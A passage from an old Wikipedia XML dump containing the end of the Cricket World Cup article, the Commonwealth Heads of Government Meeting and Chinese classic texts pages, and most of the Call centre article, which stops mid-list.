|1||1||1996||1996||Round 1||5||1||4||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:East_African_Cricket_Council.gif|20px]] [[East African cricket team|East Africa]]
|1||1||1975||1975||Round 1||3||0||3||0||0
|}

==West Indies 2007==
* 16 teams will contest the next Cricket World Cup finals to be held in the [[Caribbean|West Indies]] in Spring 2007.
* These teams are the 10 Test cricket playing countries plus [[Kenyan cricket team|Kenya]] and the five qualifiers from the [[ICC Trophy]] held in [[Ireland]] in 2005: [[Scottish cricket team|Scotland]], [[Irish cricket team|Ireland]], [[Bermudan cricket team|Bermuda]], [[Canadian cricket team|Canada]], [[Dutch cricket team|Netherlands]].
* The teams have been split into the following groups for the first round:

Pool I: [[Australian cricket team|Australia]], [[South African cricket team|South Africa]], [[Dutch cricket team|Netherlands]], [[Scottish cricket team|Scotland]]

Pool II: [[Sri Lankan cricket team|Sri Lanka]], [[Indian cricket team|India]], [[Bangladeshi cricket team|Bangladesh]], [[Bermudan cricket team|Bermuda]]

Pool III: [[New Zealand cricket team|New Zealand]], [[English cricket team|England]], [[Kenyan cricket team|Kenya]], [[Canadian cricket team|Canada]]

Pool IV: [[West Indian cricket team|West Indies]], [[Pakistani cricket team|Pakistan]], [[Zimbabwean cricket team|Zimbabwe]], [[Irish cricket team|Ireland]]

* The two top teams in each group will progress to a round robin second stage (&quot;Super Eight&quot;) which is followed by knockout semi-finals and final.
* The venues are as follows:
Preliminary Round

VENUE 1 (hosts [[West Indian cricket team|West Indies]]' matches, plus Opening Ceremony and Opening Match): [[Jamaica]] 

VENUE 2 (hosts [[English cricket team|England]]'s matches): [[St. Lucia]] 

VENUE 3 (hosts [[Indian cricket team|India]]'s matches): [[Trinidad and Tobago]]

VENUE 4 (hosts [[Australian cricket team|Australia]]'s matches): [[St. Kitts and Nevis]] 

Quarter-finals 

VENUE 5 (hosts three of the biggest Super Eight matches): [[Antigua and Barbuda]] 

VENUE 6 [[Grenada]]

VENUE 7 [[Guyana]]

VENUE 8 (hosts three of the biggest Super Eight matches): [[Barbados]]

Semi-finals

Same as VENUE 1: [[Jamaica]]

Same as VENUE 2: [[St. Lucia]]

Final

Same as VENUE 8: [[Barbados]]

* the mascot of the 2007 Cricket World Cup is an orange raccoon like creature called Mello wearing a blue short sleeved shirt over a white vest and blue sneakers leaning on a cricket bat. According to the organisers &quot;he's fun and friendly, he's on the go, he's cool as they come...he's Mello&quot;.

==Cricket World Cup tournaments== 
{| border=1 style=&quot;border-collapse:collapse; font-size:90%;&quot; cellpadding=3 cellspacing=0 width=100% 

|- bgcolor=#C1D8FF 
!rowspan=2 width=5%|Year 
!rowspan=2 width=15%|Host Nation
!rowspan=2 width=15%|Final Venue
|width=1% rowspan=35 bgcolor=ffffff| 
!colspan=3|Final 
|- bgcolor=#EFEFEF 
!width=24%|Winner 
!width=16%|Result 
!width=24%|Runner-up 

|- align=center bgcolor=#F5FAFF 
|[[1975]]&lt;br&gt;''[[1975 Cricket World Cup|Details]]'' 
|[[England]]
|[[Lord's Cricket Ground|Lord's]], [[London]]
|[[Image:West_Indies_Cricket_Board_Flag.png|30px]]&lt;br&gt;'''[[West Indian cricket team|West Indies]]'''&lt;br&gt;&lt;small&gt;291 for 8 (60 overs)&lt;/small&gt;
|'''WI won by 17 runs'''
|[[Image:Flag of Australia.svg|30px]]&lt;br&gt;[[Australian cricket team|Australia]]&lt;br&gt;&lt;small&gt;274 all out (58.4 overs)&lt;/small&gt;

|- align=center bgcolor=#D0E7FF 
|[[1979]]&lt;br&gt;''[[1979 Cricket World Cup|Details]]'' 
|[[England]]
|[[Lord's Cricket Ground|Lord's]], [[London]]
|[[Image:West_Indies_Cricket_Board_Flag.png|30px]]&lt;br&gt;'''[[West Indian cricket team|West Indies]]'''&lt;br&gt;&lt;small&gt;286 for 9 (60 overs)&lt;/small&gt;
|'''WI won by 92 runs'''
|[[Image:Flag_of_England.svg|30px]]&lt;br&gt;[[English cricket team|England]]&lt;br&gt;&lt;small&gt;191 all out (50 overs)&lt;/small&gt;

|- align=center bgcolor=#F5FAFF 
|[[1983]]&lt;br&gt;''[[1983 Cricket World Cup|Details]]'' 
|[[England]]
|[[Lord's Cricket Ground|Lord's]], [[London]]
|[[Image:India_flag_large.png|30px]]&lt;br&gt;'''[[Indian cricket team|India]]'''&lt;br&gt;&lt;small&gt;183 all out (54.4 overs)&lt;/small&gt;
|'''Ind won by 43 runs'''
|[[Image:West_Indies_Cricket_Board_Flag.png|30px]]&lt;br&gt;[[West Indian cricket team|West Indies]]&lt;br&gt;&lt;small&gt;140 all out (52 overs)&lt;/small&gt;

|- align=center bgcolor=#D0E7FF 
|[[1987]]&lt;br&gt;''[[1987 Cricket World Cup|Details]]'' 
|[[India]]/[[Pakistan]]
|[[Eden Gardens]], [[Calcutta]]
|[[Image:Flag of Australia.svg|30px]]&lt;br&gt;'''[[Australian cricket team|Australia]]'''&lt;br&gt;&lt;small&gt;253 for 5 (50 overs)&lt;/small&gt;
|'''Aus won by 7 runs'''
|[[Image:Flag_of_England.svg|30px]]&lt;br&gt;[[English cricket team|England]]&lt;br&gt;&lt;small&gt;246 for 8 (50 overs)&lt;/small&gt;

|- align=center bgcolor=#F5FAFF 
|[[1992]]&lt;br&gt;''[[1992 Cricket World Cup|Details]]'' 
|[[Australia]]/[[New Zealand]]
|[[Melbourne Cricket Ground|MCG]], [[Melbourne]]
|[[Image:Pakistan_flag_large.png|30px]]&lt;br&gt;'''[[Pakistani cricket team|Pakistan]]'''&lt;br&gt;&lt;small&gt;249 for 6 (50 overs)&lt;/small&gt;
|'''Pak won by 22 runs'''
|[[Image:Flag_of_England.svg|30px]]&lt;br&gt;[[English cricket team|England ]]&lt;br&gt;&lt;small&gt;227 all out (49.2 overs)&lt;/small&gt;

|- align=center bgcolor=#D0E7FF 
|[[1996]]&lt;br&gt;''[[1996 Cricket World Cup|Details]]'' 
|[[India]]/[[Pakistan]]/[[Sri Lanka]]
|[[Gaddafi Stadium]], [[Lahore]] 
|[[Image:Sri lanka flag large.png|30px]]&lt;br&gt;'''[[Sri Lankan cricket team|Sri Lanka]]'''&lt;br&gt;&lt;small&gt;245 for 3 (46.2 overs)&lt;/small&gt;
|'''SL won by 7 wickets'''
|[[Image:Flag of Australia.svg|30px]]&lt;br&gt;[[Australian cricket team|Australia]]&lt;br&gt;&lt;small&gt;241 for 7 (50 overs)&lt;/small&gt;

|- align=center bgcolor=#F5FAFF 
|[[1999]]&lt;br&gt;''[[1999 Cricket World Cup|Details]]'' 
|[[England]]
|[[Lord's Cricket Ground|Lord's]], [[London]] 
|[[Image:Flag of Australia.svg|30px]]&lt;br&gt;'''[[Australian cricket team|Australia]]'''&lt;br&gt;&lt;small&gt;133 for 2 (20.1 overs)&lt;/small&gt;
|'''Aus won by 8 wickets'''
|[[Image:Pakistan_flag_large.png|30px]]&lt;br&gt;[[Pakistani cricket team|Pakistan]]&lt;br&gt;&lt;small&gt;132 all out (39 overs)&lt;/small&gt;

|- align=center bgcolor=#D0E7FF 
|[[2003]]&lt;br&gt;''[[2003 Cricket World Cup|Details]]'' 
|[[South Africa]]/[[Zimbabwe]]/[[Kenya]]
|[[Wanderers Stadium|Wanderers]], [[Johannesburg]] 
|[[Image:Flag of Australia.svg|30px]]&lt;br&gt;'''[[Australian cricket team|Australia]]'''&lt;br&gt;&lt;small&gt;359 for 2 (50 overs)&lt;/small&gt;
|'''Aus won by 125 runs''' 
|[[Image:India_flag_large.png|30px]]&lt;br&gt;[[Indian cricket team|India ]]&lt;br&gt;&lt;small&gt;234 all out (39.2 overs)&lt;/small&gt;
|}

==World Cup winners ranking==
# [[Image:Flag of Australia.svg|25x15px]] [[Australian cricket team|Australia]] - [[1987 Cricket World Cup|1987]], [[1999 Cricket World Cup|1999]], [[2003 Cricket World Cup|2003]] (3 titles) 
# [[Image:West_Indies_Cricket_Board_Flag.png|25x15px]] [[West Indian cricket team|West Indies]] - [[1975 Cricket World Cup|1975]], [[1979 Cricket World Cup|1979]] (2 titles)
# [[Image:India_flag_large.png|25x15px]] [[Indian cricket team|India]] - [[1983 Cricket World Cup|1983]] (1 title)&lt;br&gt;[[Image:Pakistan_flag_large.png|25x15px]] [[Pakistani cricket team|Pakistan]] - [[1992 Cricket World Cup|1992]] (1 title)&lt;br&gt;[[Image:Sri lanka flag large.png|25x15px]] [[Sri Lankan cricket team|Sri Lanka]] - [[1996 Cricket World Cup|1996]] (1 title)

==See also==
*[[Cricket World Cup Teams|World Cup Teams]]

==External links==
*[http://www.cricketworldcup.com/ Official ICC Cricket World Cup 2007 website]

{{Cricket World Cup}}
{{International_cricket}}

[[Category:Cricket World Cup| ]]

[[de:Cricket World Cup]]
[[hi:??????? ?????? ??]]
[[ja:?????·???????]]
[[ta:????? ?????? ??????????]]</text>
    </revision>
  </page>
  <page>
    <title>Commonwealth Heads of Government Meeting</title>
    <id>7241</id>
    <revision>
      <id>35816714</id>
      <timestamp>2006-01-19T14:41:26Z</timestamp>
      <contributor>
        <username>Shermozle</username>
        <id>87145</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">The '''Commonwealth Heads of Government Meeting''' ('''CHOGM''') is a biennial [[summit meeting]] of the heads of government from all [[Commonwealth of Nations|Commonwealth]] nations. Every two years the meeting is held in a different member state, and is chaired by that nation's respective [[Prime Minister]] or [[President]]. Most meetings include an appearance by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], who is the titular Head of the Commonwealth. The first CHOGM was held in 1971. Previously to that year, and since [[1944]], Meetings of Commonwealth Prime Ministers were held, always in [[London]].

In the past, CHOGMs have attempted to orchestrate common policies on certain contentious issues and current events, with a special focus on issues affecting member nations. In the past, CHOGMs have discussed the continuation of [[apartheid]] rule in [[South Africa]] and how to stop it, military [[coup]]s in [[Pakistan]] and [[Fiji]], and allegations of electoral fraud in [[Zimbabwe]]. Sometimes the member states agree on a common idea or solution, and release a joint statement declaring their opinion.

As the cultural and economic links between the Commonwealth countries continue to decline, the meeting's agenda has become more and more relaxed and its relevance questioned. The Commonwealth has grown increasingly large in recent years (it now has over 40 members) and as a result is becoming an increasingly difficult forum to establish any sort of political consensus in. Fears have also been raised that the Commonwealth's agenda is unfairly monopolized by [[Africa]]n issues. This is unpopular with non-African member states, who resent the exclusion of the affairs of their regions, but also with the African states themselves. Many of them view the Commonwealth as a neo-colonial organization dominated by a &quot;White Commonwealth&quot;, that is to say those &quot;[[Anglosphere]]&quot; countries who are also members of the [[Commonwealth]]. The future of the Commonwealth thus remains in doubt. Some have proposed the organization be split in half, with one half for African affairs, and one for the affairs of all other member states.

==History of CHOGM meetings==

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Date !! Country !! City !! Chairman-in-Office
|- 
| [[1971]] January 14-22 || [[Singapore]] || [[Singapore]] || [[Lee Kuan Yew]]  
|- 
| [[1973]] August 2-10 || [[Canada]] || [[Ottawa]] || [[Pierre Trudeau]]
|-  
| [[1975]] April 29-May 6 || [[Jamaica]] || [[Kingston, Jamaica|Kingston]] || [[Michael Manley]]
|-  
| [[1977]] June 8-15 || [[United Kingdom]] || [[London]] || [[James Callaghan]]
|- 
| [[1979]] August 1-7 || [[Zambia]] || [[Lusaka]] || [[Kenneth Kaunda]]
|-  
| [[1981]] September 30-October 7 || [[Australia]] || [[Melbourne]] || [[Malcolm Fraser]]
|- 
| [[1983]] November 23-29 || [[India]] || [[New Delhi]] || [[Indira Gandhi]]
|- 
| [[1985]] October 16-22  || [[Bahamas]] || [[Nassau, Bahamas|Nassau]] || [[Lynden Pindling]]
|- 
| [[1986]] August 3-5 || [[United Kingdom]] || [[London]] || [[Margaret Thatcher]]
|- 
| [[1987]] October 13-17 || [[Canada]] || [[Vancouver]] || [[Brian Mulroney]]
|-
| [[1989]] October 18-24 || [[Malaysia]] || [[Kuala Lumpur]] || [[Mahathir bin Mohamad]]
|-
| [[1991]] October 16-21 || [[Zimbabwe]] || [[Harare]] || [[Robert Mugabe]]
|-
| [[1993]] October 21-25 || [[Cyprus]] || [[Limassol]] || [[George Vasiliou]]
|-
| [[1995]] November 10-13 || [[New Zealand]] || [[Auckland]] || [[Jim Bolger]]
|-
| [[1997]] October 24-27 || [[United Kingdom]] || [[Edinburgh]] || [[Tony Blair]]
|-
| [[1999]] November 12-14 || [[South Africa]] || [[Durban]] || [[Thabo Mbeki]] 
|-
| [[2002]] March 2-5 || [[Australia]] || [[Coolum]] || [[John Howard]]
|-
| [[2003]] December 5-8 || [[Nigeria]] || [[Abuja]] || [[Olusegun Obasanjo]]
|-
| [[2005]] November 25-27 || [[Malta]] || [[Valletta]] || [[Lawrence Gonzi]]
|}

==Incidents and actions==

* [[1978]] A bomb went off outside the venue of the 1978 CHOGRM in Sydney, known as the [[Sydney Hilton bombing|Hilton Bombing]].

* [[2001]] CHOGM 2001, slated to be held in Brisbane on October 6-9, was cancelled for security reasons in the aftermath of the [[9/11 attacks]]. The Meeting was adjourned to March 2002, and held in the seaside resort of Coolum, [[Queensland]].

* [[2003]] Amongst other protests, [[Amnesty International]] ran a substantial campaign pressuring CHOGM attendees on issues relating to abuses of [[Human Rights]], especially in [[Nigeria]] and [[Zimbabwe]].

==In popular culture==
CHOGM has been humourously [[backronym|backronymed]] to Chappies Holidaying On Government Money.

== External links ==
* [http://www.thecommonwealth.org/Templates/Internal.asp?NodeID=33250 Commonwealth Heads of Government Meeting page on the Commonwealth Secretariat web site]
* [http://www.chogm99.org/ ''Durban '99''], CHOGM 1999 Official page 
* [http://www.chogm2003.info/ ''Abuja' 2003''], CHOGM 2003 Official page
* [http://www.chogm2005.mt/ ''Valletta 2005''], CHOGM 2005 Official page

[[Category:Commonwealth of Nations]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese classic texts</title>
    <id>7242</id>
    <revision>
      <id>29381948</id>
      <timestamp>2005-11-27T14:53:15Z</timestamp>
      <contributor>
        <username>Theo F</username>
        <id>189289</id>
      </contributor>
      <minor />
      <comment>fr</comment>
      <text xml:space="preserve">[[China]] has a wealth of classical literature, both [[Chinese poetry|poetry]] and prose, dating from the Eastern [[Zhou Dynasty (1122 BC - 256 BC)]] and including the '''Chinese classics texts''', or ''Chinese canonical texts''. Some of them are attributed to [[Confucius]] but he might only be the editor of them. One of the aspects of the [[Culture of China|culture]] that allows its continuity is the importance given to those ancient texts, that shape the [[Chinese philosophy|philosophies]] of the culture.

Sì sh&amp;#363; w&amp;#468; j&amp;#299;ng (&amp;#22235;&amp;#26360;&amp;#20116;&amp;#32147;), the Four Books and the Five Classics, were mandated study of those [[Confucianism|Confucian]] scholars who wished to become government officials. Any political discussion was full of references to this background and one couldn't be one of the [[literati]], or even a military officer, without knowing them perfectly. 

Chinese children first studied the [[Chinese characters]] with the ''[[Hundred Family Surnames]]'' (Bai Jia Xing) and the ''[[Three Character Classic]]'' (&amp;#19977;&amp;#23383;&amp;#32147; San Zi Jing). Then, they studied the following Classics, in order to climb the social hierarchy.

==List of Chinese classic texts ==

*The [[Four Books]] (&amp;#22235;&amp;#26360; Sì sh&amp;#363;):
** The ''[[Great Learning]]'', (&amp;#22823;&amp;#23416; Dà Xué), the name of a chapter in the ''[[Classic of Rites]]''.
** The ''[[Doctrine of the Golden Mean]]'' (&amp;#20013;&amp;#24248; Zh&amp;#333;ng Yóng), the name of another chapter in the ''[[Classic of Rites]]''.
** The ''[[Analects of Confucius]]'' (&amp;#35542;&amp;#35486; Lùn Y&amp;#468;), a book of pithy sayings attributed to [[Confucius]] and recorded by his disciples.
** The ''[[Mencius]]'' (&amp;#23391;&amp;#23376; Mèng Z&amp;#464;), a book of conversations between Mencius and some kings of his time. 

*The [[Five Classics]] (&amp;#20116;&amp;#32147; W&amp;#468; j&amp;#299;ng):
** The ''[[I Ching]]'' (&amp;#26131;&amp;#32147; Yì J&amp;#299;ng; ''Classic of Changes'' or ''Book of Changes'') is a manual of divination based on the eight [[trigram]]s attributed to the mythical emperor [[Fu Xi]]. (By Confucius' time these eight trigrams had been multiplied to sixty-four [[hexagram]]s.) The ''I Ching'' is still used by adherents of folk religion.
** The ''[[Classic of Poetry]]'' or The Book of Odes (&amp;#35433;&amp;#32147; Sh&amp;#299; J&amp;#299;ng), made up of 305 poems divided into 160 folk songs; seventy-four minor festal songs, traditionally sung at court festivities; 31 major festal songs, sung at more solemn court ceremonies; and forty hymns and eulogies, sung at sacrifices to gods and ancestral spirits of the royal house. This book is traditionally credited as a compilation from Confucius.
** The ''[[Classic of Rites]]'' (&amp;#31150;&amp;#35352; L&amp;#464; Jì), social forms and ceremonies (also spelled ''Liki''), a restoration of the original Lijing, lost in the [[3rd century BCE]], describes ancient rites and court ceremonies.
** The ''[[Classic of History]]'' (&amp;#26360;&amp;#32147; Sh&amp;#363; J&amp;#299;ng) is a collection of documents and speeches alleged to have been written by rulers and officials of the early [[Zhou_Dynasty_(1122_BC_-_256_BC)|Zhou]] period and before. It contains examples of early Chinese prose.
** The ''[[Spring and Autumn Annals]]'' (&amp;#26149;&amp;#31179; Ch&amp;#363;n Qi&amp;#363;, also known as &amp;#40607;&amp;#32147; Lín J&amp;#299;ng), a historical record of the [[state of Lu]], Confucius' native state, from [[722 B.C.]] to [[479 B.C.]] written (or edited) by [[Confucius]], with implied condemnation of usurpations, murder, incest, etc. 
** The ''[[Classic of Music]]'' (&amp;#27138;&amp;#32147;) (''Yueh Ching'') is sometime referred to as the sixth classic, but is lost by the time of the [[Han dynasty]].

*The classics of [[Taoism]]:
** The ''Classic of The Way and Its Virtue'' or [[Tao Te Ching]] (&amp;#36947;&amp;#24503;&amp;#32147; Dao De Jing), attributed to [[Lao Zi]].
** ''[[Zhuang Zi]]'', attributed to the philosopher of the same name, Zhuang Zi.
** The ''True Classic of Perfect Emptiness'', attributed to [[Lie Zi]].

*The classic of [[Mohism]]:
** ''[[Mozi]]'', attributed to the philosopher of the same name, Mozi.

*The classics of [[Legalism (philosophy)|Legalism]]:
** ''[[Guan Zi]]'', attributed to [[Guan Zhong]].
** ''[[Han Fei Zi]]'', attributed to [[Han Fei]].
** ''[[Shen Zi]]'', attributed to [[Shen Buhai]], is lost.
** ''[[Shen Zi]]'', attributed to [[Shen Dao]], is presumably lost.
** The ''[[Book of Law]]'' or ''[[Fa Jing]]'', attributed to [[Li Kui]].

*Classics of [[military science]]:
** ''[[The Art of War]]'', attributed to [[Sun Tzu]].
** ''[[Thirty-Six Strategies]]'', recently uncovered.
** ''The Three Strategies of Master Yellow Stone'' (黃石公三略, ''Huangshigong sanlüe'')
** ''Li Weigong answering the questions of Tang Taizong'' (唐太宗李衛公問對, ''Tang Taizong Li Weigong Wendui''), attributed to [[Li Jing]]
** ''The Methods of the Minister of War'' (司馬法, ''Sima Fa''), attributed to [[Sima Rangju]] (司馬穰苴)/Tian Rangju (田穰苴)
** ''Wuzi'' (吳子), attributed to [[Wu Qi]] (吳起)
** ''Weiliaozi'' (尉繚子, also pronounced ''Yuliaozi''), attributed to [[Wei Liao]] (尉繚)

*Classics of the [[history of China]]:
** ''[[Twenty-Four Histories]]'', a dynastic format collection of authoritative references of the history of China, including the ''[[Records of the Grand Historian]]'' by [[Sima Qian]] and the ''[[Book of Han]]'' by [[Ban Gu]].
** The ''Spring and Autumn Annals of Zuo'', ''Annals of Zuo'' or ''[[Zuo Zhuan]]'', attributed to [[Zuo Qiuming]].
** The ''Discourses of the States'' or ''[[Guoyu]]'', a collection of historical records of numerous states during the [[Spring and Autumn Period]].
** The ''Strategies of the Warring States'' or ''[[Zhan Guo Ce]]'', attributed to [[Liu Xiang]].
** The ''Spring and Autumn Annals of Wu and Yue'' or ''[[Wuyue Chunqiu]]'', a historical record of the states of [[State of Wu|Wu]] and [[State of Yue|Yue]] during the [[Spring and Autumn Period]], attributed to [[Zhao Ye]].
** The ''Spring and Autumn Annals of the Sixteen Kingdoms'' or ''[[Shiliuguo Chunqiu]]'', a historical record of the [[Sixteen Kingdoms]], attributed to [[Cui Hong]], is lost.
** The ''Comprehensive Mirror for Aid in Government'' or ''[[Zizhi Tongjian]]'', attributed to [[Sima Guang]].
** The ''Annals of Lü Buwei'' or ''[[Lüshi Chunqiu]]'' (&amp;#21570;&amp;#27663;&amp;#26149;&amp;#31179;), attributed to [[Lü Buwei]].

*Other classics include:
** The ''[[Classic of Filial Piety]]'' or [[Xiao Jing]] (&amp;#23389;&amp;#32147; Xiao Jing)
** The ''[[Thousand Character Classic]]'' (&amp;#12298;&amp;#21315;&amp;#23383;&amp;#25991;&amp;#12299;)

== See also ==
*[[Chinese literature]]
*[[Imperial examination]]

== External links ==
* [http://afpc.asso.fr/wengu/wg/wengu.php Wengu text database] (''Classic of Poetry'', ''Analects of Confucius'', ''Tao Te Ching'' and ''I Ching'', in Chinese and translations)
* [http://nothingistic.org/library Chinese Classics] (James Legge's translations of the ''Analects of Confucius'', the ''Great Learning'', the ''Doctrine of the Mean'', the ''Works of Mencius'' and the ''Tao Te Ching'')
* [http://www.chinapage.com/big5/classic/classic.html Chinese classic text online] (in Big5 Chinese encoding)
* [http://www.s110058824.onlinehome.us/main2.html Chinese Literature Classics] (listed in English, with links to Chinese texts and translations in several languages)

[[Category:Chinese classic texts]] [[Category:Confucian texts]]

[[fr:Classiques chinois]]
[[zh-cn:&amp;#20013;&amp;#25991;&amp;#21476;&amp;#20856;&amp;#20856;&amp;#31821;]]</text>
    </revision>
  </page>
  <page>
    <title>Call centre</title>
    <id>7243</id>
    <revision>
      <id>41952440</id>
      <timestamp>2006-03-02T21:16:47Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">A '''call centre''' ([[Commonwealth English]]) or '''call center''' ([[American English]]) is a centralized office used for the purpose of receiving and transmitting a large volume of requests by [[telephone]].
A call centre is operated by a [[company]] to administer incoming product support or information inquiries from consumers. Outgoing calls for [[telemarketing]], clientele, and debt collection are also made. In addition to a call centre, collective handling of [[letters]], [[facsimile|faxes]], and [[e-mails]] at one location is known as a '''contact centre'''.

A call centre is often operated through an extensive open workspace, with work stations that include a computer, a [[telephone]] set/[[headset]] connected to a [[telecom switch]], and one or more supervisor stations. It can be independently operated or networked with additional centres, often linked to a corporate [[computer network]], including [[mainframe|mainframes]], [[microcomputer|microcomputers]] and [[local area network|LANs]]. Increasingly, the voice and data pathways into the centre are linked through a set of new technologies called [[computer telephony integration]] (CTI).

Most major businesses use call centres to interact with their customers.  Examples include utility companies, mail order catalogue firms, and customer support for computer hardware and software.  Some businesses even service internal functions through call centres.  Examples of this include help desks and sales support.

==Mathematical theory==
A call center can be viewed, from an operational point of view, as a queueing network.  The simplest call center, consisting of a single type of customers and statistically-identical servers, can be viewed as a single-queue.  [[Queueing theory]] is a branch of mathematics in which models of such queueing systems have been developed. These models, in turn, are used to support work force planning and management, for example by helping answer the following common staffing-question: given a service-level, as determined by management, what is the least number of telephone agents that is required to achieve it.  (Pevalent examples of service levels are: at least 80% of the callers are answered within 20 seconds; or, no more that 3% of the customers hang-up, due to their impatience, before being served.)  

Queueing models also provide qualitative insight, for example identifying the circumstances under  which economies of scale prevail, namely that a single large call centre is more effective at answering calls than several (distribued) smaller ones; or that cross-selling is beneficial; or that a call center should be quality-driven of efficiency-driven or, most likely, both '''Q'''uality and '''E'''fficiency '''D'''riven (abbreviated to QED).  Recently, queueing models have also been used for planning and operating skills-based-routing of calls within a call center, which entails the analysis of systems with multi-type customers and multi-skilled agents.  

Call center operations have been supported by matehmatical models beyond queueing. For example, for forecsting of calls, for determining shift-structures, and even for analyzing customers' impatience while waiting to be served by an agent.

A survey of operational/mathematical models of call centers is given in 
http://ie.technion.ac.il/serveng/References/Gans-Koole-Mandelbaum-CCReview.pdf

==Accommodation==
The centralization of call management aims to improve a company's operations and reduce costs, while providing a standardized, streamlined, uniform service for consumers, making this approach is ideal for large companies with extensive customer support needs. To accommodate for such a large customer base, large warehouses are often converted to office space to host all call centre operations under one roof. 

==Personnel management==
Centralized offices mean that large numbers of workers can be managed and controlled by a relatively small number of managers and support staff. They are often supported by computer technology that manages, measures and monitors the performance and activities of the workers.  Call centre staff are closely monitored for [[quality control]], level of proficiency, and customer service. Typical contact center operations focus on the discipline areas of [[workforce management]], queue management, quality monitoring, and reporting.  Reporting in a call centre can be further broken down into real time reporting and historical reporting.  The types of information collected for a group of call centre agents typically include: agents logged in, agents ready to take calls, agents available to take calls, agents in wrap up mode, average call duration, average call duration including wrap-up time, longest duration agent available, longest duration call in queue, number of calls in queue, number of calls offered, number of calls abandoned, average speed to answer, average speed to abandoned and service level, calculated by the percentage of calls answered in under a certain time period.

Many call centres use [[workforce management]] software, which is software that uses historical information coupled with projected need to generate automated schedules. This aims to provide  adequate staffing skilled enough to assist callers.

The relatively high cost of personnel and worker inefficiency accounts for the majority of call centre operating expenses, influencing '''[[outsourcing]]''' in the call centre industry.

Inadequate computer systems can mean staff take one or two seconds longer than necessary to process a transaction.  This can often be quantified in staff cost terms.  This is often used as a driving factor in any business case to justify a complete system upgrade or replacement.  For several factors, including the efficiency of the call centre, the level of computer and telecom support that may be adequate for staff in a typical branch office may prove totally inadequate in a call centre.

==Technology==
Call Centres use a wide variety of different technologies to allow them to manage the large volumes of work that need to be managed by the call centre. These technologies ensure that agents are kept as productive as possible, and that calls are queued and processed as quickly as possible, resulting in good levels of service.  

These include ;

* ACD ([[automatic call distribution]])
* Agent performance analytics
* BTTC (best time to call)/ Outbound call optimization
* IVR ([[interactive voice response]])
* CTI ([[computer telephony integration]])
* [[Enterprise Campaign Management]]
* Outbound [[predictive dialer]]
* CRM ([[customer relationship management]])
* CIM ([[customer interaction management]]) solutions (Also known as 'Unified' solutions)
* Email Management
* Chat and Web Collaboration
* Desktop Scripting Solutions
* TTS ([[text to speech]])
* WFM ([[workforce management]])
* [[Voice analysis]]
* [[Voice recognition]]
* [[Voicemail]]
* [[Voice over IP|VoIP]]
* [[Speech Analytics]]

==Call centre dynamics==
Types of calls are often divided into ''outbound'' and ''inbound''.  Inbound calls are calls that are made by the consumer to obtain information, report a malfunction, or ask for help.  These calls are substantially different from outbound calls, where agents place calls to potential customers mostly with intentions of selling or service to the individual. ''[[Telemarketing|(See telemarketing)]]'' 

Call centre staff are often organized into a multi-tier support system for a more efficient handling of calls. The first tier in such a model consists of operators, who direct inquiries to the appropriate department and provide general directory information. If a caller requires more assistance, the call is forwarded to the second tier, where most issues can be resolved. In some cases, there may be three or more tiers of support staff. If a caller requires more assistance, the caller is forwarded to the third tier of support; typically the third tier of support is formed by product engineers/developers or highly-skilled technical support staff of the product. 

Call centres have their critics. Some critics argue that the work atmosphere in such an environment is de-humanising. Others point to the low rates of pay and restrictive working practices of some employers. There has been much controversy over such things as restricting the amount of time that an employee can spend in the bathroom.  Furthermore, call centres have been the subject of complaints by callers who find the staff often do not have enough skill or authority to resolve problems, while the dehumanized workers very often exhibit an attitude of apathy to even the most abusive customer.

Owing to the highly technological nature of the operations in such offices, the close monitoring of staff activities is easy and widespread. This can be argued to be beneficial, to enable the company to better plan the workload and time of its employees. Some people have argued that such close monitoring breaches human rights to privacy.  Yet another argument is that close monitoring and measurement by quantitative metrics can be counterproductive in that it can lead to poor customer service and a poor image of the company, and an ability to keep within the &quot;stats&quot; while still doing horrible things.

Many call centres in the UK have been built in areas that are depressed economically. This means that the companies get cheap land and labour, and can often benefit from grants to encourage them to improve employment in a given area.  There has also been a trend to move call centres to [[India]], where there is a large pool of cheap English-speaking labour. This phenomenon has led to media reports of poor telephone connections and operators with insufficient local knowledge to do their job. But, call centres in India may be more professionally managed than their counterparts elsewhere in the world. Whereas a typical call centre employee in the developed world may be a high school drop-out, the typical employee in an Indian call centre is a graduate.

Another popular call centre site is the [[Philippines]], owing to its abundant English speakers that are college graduates and Americanized when it comes to English accent and cultural affinities. The Philippines was an American colony for almost 50 years. Filipinos are said to be the best outsourcing site outside North America since the accent is nearer to that of American consumers.

For the Asia Pacific region, from India to Australia and New Zealand, [[Malaysia]] is emerging as one of the top locations for setting up call centres. The country has a history of ties with the English-speaking world and English-language education, as a former British colony.   

Canada is also a popular call centre site, with the relatively low [[Canadian dollar]] and low telecommunication rates. [[Sitel Corporation|SITEL Corporation]], which operates call centres in [[Ottawa]] and [[St. Catharines, Ontario|St. Catharines]], [[Ontario]] is one such company. 

However the [[BPO Industry]] in India is booming at a much faster rate, owing to the fact that not only is the Indian Economy booming and it's basic infrastructure becoming much better, but that [[scalability]] in terms of Human Resource is more easily delivered by Indian Call Centers then those run in any other country. 

Around the world, there are a number of professional organisations forming to develop and promote call centre best practice management and operation, to overcome the negative aspects of a call centre.

==Management of call centres==
Management of call centres involves balancing the requirements of cost effectiveness and service. Callers do not wish to wait in exorbitantly long [[teletraffic queuing theory|queues]] until they can be helped and so management must provide sufficient staff and inbound capacity to ensure that the quality of service is maintained. However, staff costs generally form more than half the cost of running a call centre and so management must minimise the number of staff present.

To perform this balancing act, call centre managers make use of demand estimation, Telecommunication forecasting and dimensioning techniques to determine the level of staff required at any time. Managers must take into account staff tea and lunch breaks and must determine the number of agents required on duty at any one time.

==Forecasting demand==
[[telecommunication forecasting|Forecasting]] results are vital in making management decisions in call centres. Forecasting methods rely on data acquired from various sources including historical data, trend data and so on. Forecasting methods must predict the traffic intensity within the call centre in quarter-hour increments and these results must be converted to staffing rosters. Special attention must be paid to the [[busy hour]]. Forecasting methods must be used to pre-empt a situation where equipment needs to be upgraded as traffic intensity has exceeded the maximum capacity of the call centre.

==Call centre performance==
There are many standard [[traffic measurement (telecommunications)|traffic measurement]]s that can be performed on a call centre to determine its [[network performance|performance]] levels. However, the most important performance measures are:

*The average delay a caller may experience whilst waiting in a queue
